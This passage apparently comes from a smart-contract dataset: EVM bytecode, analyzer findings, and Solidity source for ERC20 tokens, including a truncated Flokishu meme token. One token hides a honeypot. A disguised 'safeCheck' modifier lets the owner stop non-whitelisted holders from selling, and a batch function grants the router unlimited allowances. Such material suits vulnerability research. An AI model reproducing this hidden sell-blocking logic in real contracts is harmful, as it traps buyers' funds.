08152600560205260409020805460ff191660011790555b600061123e30610685565b600c54909150600160b01b900460ff161580156112695750600c546001600160a01b03868116911614155b156112fe5780156112fe57600c5461129d906064906111e890600f90611297906001600160a01b0316610685565b90611420565b8111156112ca57600c546112c7906064906111e890600a90611297906001600160a01b0316610685565b90505b60006112dc600c6111e8846005611420565b90506112e88183611bac565b91506112f381611540565b6112fc82610cb0565b505b505b61130c84848484611570565b50505050565b600081848411156113365760405162461bcd60e51b81526004016104c59190611859565b5060006113438486611bac565b95945050505050565b60006006548211156113b35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b60006113bd611673565b90506113c9838261149f565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261142f575060006104f8565b600061143b8385611bc3565b9050826114488583611be2565b146113c95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b60006113c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611696565b6000806114ee8385611b06565b9050838110156113c95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b600c805460ff60b01b1916600160b01b1790556115603061dead83610f4e565b50600c805460ff60b01b19169055565b808061157e5761157e6116c4565b60008060008061158d876116e0565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115ba9085611727565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115e990846114e1565b6001600160a01b03891660009081526001602052604090205561160b81611769565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165091815260200190565b60405180910390a3505050508061166c5761166c600954600855565b5050505050565b60008060006116806117b3565b909250905061168f828261149f565b9250505090565b600081836116b75760405162461bcd60e51b81526004016104c59190611859565b5060006113438486611be2565b6000600854116116d357600080fd5b6008805460095560009055565b6000806000806000806116f5876008546117f3565b915091506000611703611673565b90506000806117138a8585611820565b909b909a5094985092965092945050505050565b60006113c983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611312565b6000611773611673565b905060006117818383611420565b3060009081526001602052604090205490915061179e90826114e1565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006117ce828261149f565b8210156117ea57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061180660646111e88787611420565b905060006118148683611727565b96919550909350505050565b6000808061182e8685611420565b9050600061183c8686611420565b9050600061184a8383611727565b92989297509195505050505050565b600060208083528351808285015260005b818110156118865785810183015185820160400152820161186a565b81811115611898576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b80356118ce816118ae565b919050565b600080604083850312156118e657600080fd5b82356118f1816118ae565b946020939093013593505050565b60008060006060848603121561191457600080fd5b833561191f816118ae565b9250602084013561192f816118ae565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561196957600080fd5b823567ffffffffffffffff8082111561198157600080fd5b818501915085601f83011261199557600080fd5b8135818111156119a7576119a7611940565b8060051b604051601f19603f830116810181811085821117156119cc576119cc611940565b6040529182528482019250838101850191888311156119ea57600080fd5b938501935b82851015611a0f57611a00856118c3565b845293850193928501926119ef565b98975050505050505050565b600060208284031215611a2d57600080fd5b81356113c9816118ae565b60008060408385031215611a4b57600080fd5b8235611a56816118ae565b91506020830135611a66816118ae565b809150509250929050565b600060208284031215611a8357600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611aff57611aff611ad5565b5060010190565b60008219821115611b1957611b19611ad5565b500190565b600060208284031215611b3057600080fd5b81516113c9816118ae565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8b5784516001600160a01b031683529383019391830191600101611b66565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bbe57611bbe611ad5565b500390565b6000816000190483118215151615611bdd57611bdd611ad5565b500290565b600082611bff57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b5673d5334d699b0618126d2e6b6bd7dae2194635defb7f932ed3f60aee9ff464736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,634
0xc97a046e7e9a793b1e9f9c113c3643599e0b3cc3
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_ARTX(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203cc175ac5abc0cd79f332313b905ba128bef09cd95b5ca66f41844ea2cd9a57064736f6c63430006060033
{"success": true, "error": null, "results": {}}
3,635
0x721df606476d9d3d12b1199a5965935f8026d6a0
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ //Flokishu (Flokishu) //Telegram: https://t.me/Flokishu //2% Deflationary yes //CG, CMC listing: Ongoing //Fair Launch //Community Driven - 100% Community Owned! // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Flokishu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Flokishu | t.me/Flokishu"; string private constant _symbol = "Flokishu\xF0\x9F\x90\xB6"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), 